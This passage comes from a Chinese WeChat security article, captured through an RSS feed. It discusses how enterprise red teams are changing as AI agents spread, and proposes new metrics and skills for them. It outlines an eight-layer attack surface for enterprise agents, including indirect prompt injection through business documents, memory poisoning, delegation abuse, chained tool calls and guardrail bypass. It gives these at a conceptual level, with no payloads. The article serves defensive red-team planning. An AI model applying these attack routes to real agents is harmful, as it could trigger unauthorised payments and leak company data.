leaf="">第四类是共同盲区。同一拨人建的攻防体系，它的局限就是这拨人的能力上限。如果缺乏高强度、高水平的持续对抗，安全水位会惯性滑坡，而身在山中的人看不见自己的山，所谓&#34;不识庐山真面目，只缘身在此山中&#34;。这一类你定义不了一个自己都看不见的东西，只能靠体系外的人来打。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;" nodeleaf=""><img data-aistatus="1" alt="未知的四类" class="rich_pages wxw-img" data-ratio="0.325" data-w="1080" style="display:block;max-width:100%;height:auto;margin:16px auto;border-radius:4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=52d3ca15&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP850VF0Nic9bIrMtkXDxHBcWMwEfx4otTA29ibJ9LvlNvUuOOm0hic39yK9kbHv3OWYs9lDC9wK6K8gxO67elRKNBIYhTkAdn8VP3x0%2F640%3Ffrom%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;display:flex;align-items:flex-end;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;flex:0 1 auto;min-width:0;"><span leaf="">3、红队的痛点</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对手在高速变化的时候，红队自己这边的老问题一个都没解决，而且每一个都被放大了。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第一个痛点在交付端。报告交出去，整改是别人的事，红队没有强制力。同一个根因第二年再发现一次，第三年还在，报告越写越厚，风险没降多少。做久了红队会变成一个出报告的部门。过去整改慢一点还撑得住，因为对手也慢。现在对手的迭代按天算，整改周期比对手长，报告交出去的时候就已经过期。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第二个在范围。关键系统常以&#34;影响生产&#34;为由被排除，能打的多是测试环境和边缘业务，对核心业务点到为止。报告里写的&#34;未发现高危&#34;，准确的说法是&#34;在允许打的范围里没发现高危&#34;。对手不认这个范围，它能并行打几十个目标，被排除的那部分恰恰是它最先去的地方。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">第三个在价值。红队不缺硬成果，拿到域管权限、进核心数据库、把靶标数据带出来，复盘会上都很震撼。但老板接着问安全水位提升了多少，这个答不上来。打下来的是我们能打进去，不是企业现在有多危险，换一批人、换一个范围，结果就不可比。红队的预算往往要靠一次真事故才争得到。攻击方的 Agent 随着大模型的进步而进化，而且攻击面还在扩大，一年两次的覆盖占比只会越来越小。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">还有一个是人。红队培养周期长，技术练到手要么跳槽，要么转去做应用安全和 SOC，团队长期在补人。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">新的痛点也出现了。对手把进攻自动化、规模化了，自己还在按项目排期；上面要求用 AI 做红队，却没人说得清怎么衡量，做着做着变成跑工具。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这几条里，交付和价值这一篇能答，范围和人答不了。关键系统让不让打、红队向谁汇报、编制和预算给多少，是授权和治理问题，红队自己动不了，得 CISO 出面。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;display:flex;align-items:flex-end;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;flex:0 1 auto;min-width:0;"><span leaf="">4、AI 红队新职责</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">行业里说 AI 红队，其实在说两件不同的事。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一件是攻击 AI 系统，把企业自己的 Agent 当靶子，看它会不会被骗、被越权、被投毒，目标是模型、记忆、工具、身份和它能动的业务行动。另一件是用 Agent 攻击，把红队能力蒸馏后用 Agent 提效，用它去打企业原有的系统，红队这么用，对手也这么用。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">两件事会交叉。用攻击 Agent 生成带间接注入的供应商文档去打付款 Agent，再看 SOC 能不能识别，就是一起做。但不能用同一个&#34;发现多少注入&#34;验收，也不能共用一套授权、目标和评估器。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这两件事投入的比重也不一样。大多数企业的 AI 红队做的是第一件，而且停在最浅的一层，只测提示注入和越狱；第二件更多是在原来的工具平台上加上 Agent 提效。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;" nodeleaf=""><img data-aistatus="1" alt="AI 红队新职责" class="rich_pages wxw-img" data-ratio="0.3074074074074074" data-w="1080" style="display:block;max-width:100%;height:auto;margin:16px auto;border-radius:4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c19dd9f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP853x4CN7N0iaKwezSJMvhPzUISqTCkXbQkJF68yMJ2o61jvPzpWcjNboD3IOB09LEGO3BNjOBVUxlH3aTuZvrWH7CJ0e5rLmibB80%2F640%3Ffrom%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这一篇主要讲第二件。但第一件的攻击面得先摆出来，不然不知道要打的东西有多大。一个企业级 Agent 从接到任务到产生后果，中间至少有八层。</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">模型与推理。提示注入、越狱、诱导它说不该说的话，这一层最好测，工具和榜单也最多。</span></span></p></div></li><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">上下文。Agent 要读工单、文档、网页和代码仓库，攻击者不用说服模型，把 Payload 放进它必须读的那份材料就行，入口不在对话框，在业务流程里。</span></span></p></div></li><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">记忆与状态。一次污染写进长期记忆，之后每次调用都带着，跨会话、跨任务，严重时跨租户。</span></span></p></div></li><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">身份与委托。Agent 靠一段委托干活，拿到它就能以它的名义做事。传统 IAM 管账号有没有资格，管不了这次委托用在哪。</span></span></p></div></li><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">工具与行动。每个调用单看都合法，串起来是一次未授权的副作用，防守方通常只校验单次调用，这一层红队最容易出成果。</span></span></p></div></li><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">供应链与编排。Agent 依赖的 skill、模型、插件和 Agent 间消息，任何一处被替换或投毒，上面五层白做。</span></span></p></div></li><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">控制与恢复。护栏能不能绕过，停止指令停不停得住，回滚报告成功但状态没回去，出问题时系统以为自己恢复了。</span></span></p></div></li><li style="font-weight:normal;"><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">业务结果。退款、付款、生产变更每一步都合规，审计齐全，结果仍然不可接受，这一层没有技术漏洞，只有业务漏洞。</span></span></p></div></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这八层里模型那一层性价比最低。越狱和拒答是模型厂商每一代都在加固的，乙方厂商也有成熟产品；提示注入至今没有通解，但单点测它的产出有限，杠杆在下面几层。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;" nodeleaf=""><img data-aistatus="1" alt="Agent 攻击面的八层" class="rich_pages wxw-img" data-ratio="0.4759259259259259" data-w="1080" style="display:block;max-width:100%;height:auto;margin:16px auto;border-radius:4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=326ccbb7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP8504s1KPFUibV3wFVO3YPXXbeAru8qKvmeHwAEw50j3Rw3bfKVVhL6kH6GAZLB12n77jw1K9Bibn6CrM23j8SsYboMnBoxhVUZUzc%2F640%3Ffrom%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;display:flex;align-items:flex-end;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;flex:0 1 auto;min-width:0;"><span leaf="">5、工作方式的变化</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">情报收集、代码审计、漏洞挖掘、打点、横向移动、后渗透，这些活过去大多有成熟工具，扫描器、C///2、各种脚本都有，但每一段之间要人来判断和串联，读输出、判断下一步、换工具。按现在的水平，Agent 已经能接管其中几段，代码审计和漏洞挖掘最明显。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻击者那边跑得比红队快，不是技术更强，是他不用管破坏性。打挂了目标不影响他收益，红队打挂了生产就要背事故。同样一条攻击链交给 Agent，攻击者可以放开跑，红队不行。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">整个软件产业都在发生同一个变化，生产方式先变，执行交给 Agent，岗位跟着从自己干活变成建设 Agent、监督 Agent 干活，开始前给方向，中间卡住了校准，结束后判断结果质量。我在讲 SOC、应用安全和安全组织的几篇里说的都是这条链路，红队也不例外。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">红队在这条链路上多两件别的岗位没有的事。一件在前面说过，每一步都要有紧急终止和兜底预案。另一件在开始之前，得有人说清模拟的攻击对手是谁，什么效果算防御被打穿，谁会攻击我们，他们有什么资源，他们的目的是什么。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;" nodeleaf=""><img data-aistatus="1" alt="红队演练的分工" class="rich_pages wxw-img" data-ratio="0.33425925925925926" data-w="1080" style="display:block;max-width:100%;height:auto;margin:16px auto;border-radius:4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=a863f1d1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F4yRoMuNP853skdZW1bHsCaF0iaC7vj5h5EMiaezoKW8hRLa1cEhE2KoxAWmZEyD4xiaynaxrR74ftoI0hfb1XcbcQmEGNldsByL04atiblmPUZI%2F640%3Ffrom%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">过去红队按周期做，一年一到两次，定范围、打两周、交报告、等整改。前提是被测的系统在两次演练期间基本没有什么变化。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">业务自己也在用 Agent 做研发，代码 Agent 写，发布 Agent 推，一个系统一周迭代的次数可能比过去一个季度还多。等整改做完，当初验过的那个系统已经不是同一个了。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以后要换成持续演练。攻击假设库常驻，攻击 Agent 常驻，观测和评估常驻，发现进回归集，修复被反复验证，不再有一次演练结束了这个时点，随时都在演练，因为你的对手也随时在打你。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;" nodeleaf=""><img data-aistatus="1" alt="演练从按周期变成常驻" class="rich_pages wxw-img" data-ratio="0.35185185185185186" data-w="1080" style="display:block;max-width:100%;height:auto;margin:16px auto;border-radius:4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=740b43c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F4yRoMuNP8508D4dg025pxye7cr8sk8mVXibWD6rtkuKj0ZNL7HWOaZDGyDU05MvnlAxnsOXARnSXciae4FehqhsUBDoGdcy0GsoAX5iatIwcGo%2F640%3Ffrom%3Dappmsg"/></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">过去红队的一天，大部分时间花在跑工具、手打命令、调试漏洞、复现、截图、写报告。这些正在被 Agent 替代。以前拼的是能不能打进去，现在拼的是打的东西对不对、结论站不站得住，核心就是判断能力。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;display:flex;align-items:flex-end;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;flex:0 1 auto;min-width:0;"><span leaf="">6、红队的新定位</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我在讲安全组织<a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485142&amp;idx=1&amp;sn=1aee685356fef53363b59847dbcfd6df&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">安全组织最后可能只剩三类角色</a>篇里写过，执行交给 Agent 之后，安全组织的核心人类角色可能只剩三类，安全架构与 Agent 工程、BISO（业务与风险治理）、AI 红队与对抗验证。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这三类是不能互相替代的责任，不按部门划分。架构与 Agent 工程把 Agent 能力建起来，定义 Agent 能做什么、在哪一层拦、怎么停；BISO 说清业务上什么结果不可接受；红队证明前两者是否知行合一。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">红队能独占一席，核心竞争力是相对前两者的客观验证能力以及攻击技术门槛。建设方能证明工程按安全标准构建，证明不了实战中拦不拦得住；业务方能定义什么不可接受，无法量化当前的风险水位。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.1 新指标</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">旧指标衡量的是活动量，本月发现多少漏洞、覆盖多少系统、演练做了几次、整改关闭率、防守方建设的 ATT&amp;CK 覆盖率。人力有限的年代这些大体等于工作产出，也大体等于覆盖。到了 Agent 时代，这些数字只反映花了多少 Token，反映不了企业安全上有什么变化。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">新指标分三组。</span></p><ol style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: decimal;" class="list-paddingleft-1"><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">效果，量企业现在到底有多危险。不可接受结果的验证覆盖率，业务方登记了多少条绝不能发生的事，其中多少条被真打过一遍，登记 20 条打过 12 条就是 60%，分母来自业务方，分子来自演练记录。意外发现占比，本期的高影响发现里有多少条不在已有的回归用例里，长期偏低就是在反复测已知的东西。验证时延，一个系统从发布变更到被重新打一遍中位数多少天，大于业务自己的平均迭代周期就是没跟上。</span></span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">自动化程度，量红队自己蒸馏到哪一步了。红队比攻击者慢是必然的，每一步都要考虑业务连续性，还要考虑不能影响利益相关方的 KPI。攻击链自主跑通率，一条链从开始到判定不用人介入跑完的比例，取数看编排日志里的人工介入次数。蒸馏覆盖率，红队手上的攻击手法有多少已经沉淀成可复用的 Agent 能力。单位成本的目标覆盖数，同样预算能并行打几个目标，去年多少今年多少。</span></span></p></div></li><li><div style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf=""><span textstyle="" style="font-weight: normal;">风险控制，量攻击 Agent 自己受不受控。越界次数，打到排除项、超出影响预算、动了不该动的对象，每次都记成企业自己的事故。演练造成的业务影响，中断多少分钟，误伤多少真实工单。幻觉导致的无效发现占比，报上来但复现不了的条数除以总发现条数。</span></span></p></div></li></ol><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;" nodeleaf=""><img data-aistatus="1" alt="红队新指标的三组" class="rich_pages wxw-img" data-ratio="0.30092592592592593" data-w="1080" style="display:block;max-width:100%;height:auto;margin:16px auto;border-radius:4px;" src="https://wechat2rss.xlab.app/img-proxy/?k=49629995&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F4yRoMuNP853Bl66TNmv3qHbvke0QXqvvARcFoPxmgL5QAiabUYQ30ARZRekLgUS6LeoXiagY2IwCXniaFfzjfHHkNjJQRXMEKXzx9a9c9XNCB0%2F640%3Ffrom%3Dappmsg"/></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;font-size: 20px;"><span leaf="">6.2 新能力</span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻击链思维、漏洞原理、绕过与对抗、痕迹与取证，这些仍然是核心竞争力。要重点提升的能力分两部分。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一部分在工程上。会构建自动化攻击 Agent，了解上下文工程、工具、记忆和子 Agent 编排怎么调优。会把攻击规则写成约束，这部分需要结合企业内部的业务场景和业务特点来构建，但架构和方法论是通用的，跳槽下一家也能复用。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">另一部分是 AI 系统本身的攻击面，这个有现成的资源，免费的比如 OWASP 的《GenAI Red Teaming Guide》、LLM Top 10 和 Agentic Applications Top 10，收费的 OffSec OSAI+ 认证、HTB COAE 等。MITRE ATLAS 把 AI 系统的攻击手法整理成了 ATT&amp;CK 式的矩阵，可以拿来盘覆盖率。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;padding: 0px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;display:flex;align-items:flex-end;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;flex:0 1 auto;min-width:0;"><span leaf="">7、总结</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">红队的出路是三个方向。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">一是把进攻这一侧同样智能化，同时承认自己会比对手慢。每一步要考虑对业务的影响，还要考虑利益相关方的 KPI，这是企业红队和攻击者的结构差别，不是能力差距。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">二是演练从按周期改成日常动作。业务自己在用 Agent 做研发，一个系统一周迭代的次数可能比过去一个季度还多。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">三是持续学习。攻击链思维、漏洞原理这些是基本盘，新要学的是怎么构建和调优攻击 Agent，以及 AI 系统本身的攻击面。模型每隔几个月换一代，攻击 Agent 的构建方式和对抗手法也在动态变化。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻防一直是螺旋上升的，一方往前一步，另一方跟上一步，没有哪一方一直遥遥领先。持续对抗本身就是这个行业维持平衡的客观规律。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以不管数字化和人工智能走到哪一步，总会有一群人去研究它、对抗它、保护它。我对红队（蓝军）这个岗位有信心，因为它代表的是合法的黑客精神。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以上是我对 Agent 时代红队变化的一些思考，仅代表个人观点，不构成针对任何企业的法律意见。欢迎关注我的公众号，或联系微信：neteyes 加入我们的微信群一起交流。</span></p><div data-reference-section="true" style="margin-top:32px;padding-top:4px;font-size:13px;line-height:1.65;color:#8c8c8c;"><p data-reference-title="true" style="margin:0 0 8px;padding:0;font-size:14px;line-height:1.6;color:#666666;font-weight:600;"><span leaf="">同系列文章</span></p><p data-reference-title="true" style="margin:0 0 8px;padding:0;font-size:14px;line-height:1.6;color:#666666;font-weight:600;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485154&amp;idx=1&amp;sn=5be1df69b0807b1abe0017ee5eb4ae2d&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">下一代安全产业的变化：从交付结果到交付价值</a></span></p><p data-reference-title="true" style="margin:0 0 8px;padding:0;font-size:14px;line-height:1.6;color:#666666;font-weight:600;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485142&amp;idx=1&amp;sn=1aee685356fef53363b59847dbcfd6df&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">安全组织最后可能只剩三类角色</a></span></p><p data-reference-title="true" style="margin:0 0 8px;padding:0;font-size:14px;line-height:1.6;color:#666666;font-weight:600;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485114&amp;idx=1&amp;sn=26b783a56efad9d87ce28dab2466dcc6&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">最后一代应用安全工程师的自白</a></span></p><p data-reference-title="true" style="margin:0 0 8px;padding:0;font-size:14px;line-height:1.6;color:#666666;font-weight:600;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247485094&amp;idx=1&amp;sn=e5730c8ccb659ed4988d04d182f92792&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">下一代 AI SOC 长什么样：SOC 版的 Codex</a></span></p><p data-reference-title="true" style="margin:0 0 8px;padding:0;font-size:14px;line-height:1.6;color:#666666;font-weight:600;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzk5MDgzMDExMg==&amp;mid=2247484773&amp;idx=1&amp;sn=5a7a1128a5885c06a26f254b2bb03c4a&amp;scene=21#wechat_redirect" textvalue="" linktype="text" data-linktype="2">OpenClaw 火热的背后：软件正在从交付工具走向交付结果</a></span></p></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a7ac4e35&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI5MDQ2NjExOQ%3D%3D%26mid%3D2247500649%26idx%3D1%26sn%3D62baf4cf05db2db04c09ab65fd25bc82">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Sep 2026 11:33:00 +0800</pubDate>
    </item>
    <item>
      <title>最后一代应用安全工程师的自白</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI5MDQ2NjExOQ==&amp;mid=2247500646&amp;idx=1&amp;sn=305dc392de2bc0d64c5c84fa6f4a32fe</link>
      <description>应用安全岗位正在消失，这个岗位不会有下一代——留下来的人，只有三条路可走。</description>
      <content:encoded><![CDATA[<p><span>Max Luo</span> <span>2026-08-28 11:02</span> <span style="display: inline-block;">山西</span></p>




  <p>以下文章来源于：白帽子罗棋琛</p>
  <strong>白帽子罗棋琛</strong>
  <p>网络安全专家，《白帽访谈录》策划人，专注链接网络安全从业者，聚焦网络安全前沿洞察与技术分享。</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2166c363&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F4yRoMuNP850NxGxN7icyyiak4HlDN8xTDovJTibbP1bc5cnvXK1rAOaleicJb2o3Cmvss3fBY0KaX6MQDc4LUAOatY58wWFI5TOl2pGbSbKRI5g%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>应用安全岗位正在消失，这个岗位不会有下一代——留下来的人，只有三条路可走。</p>
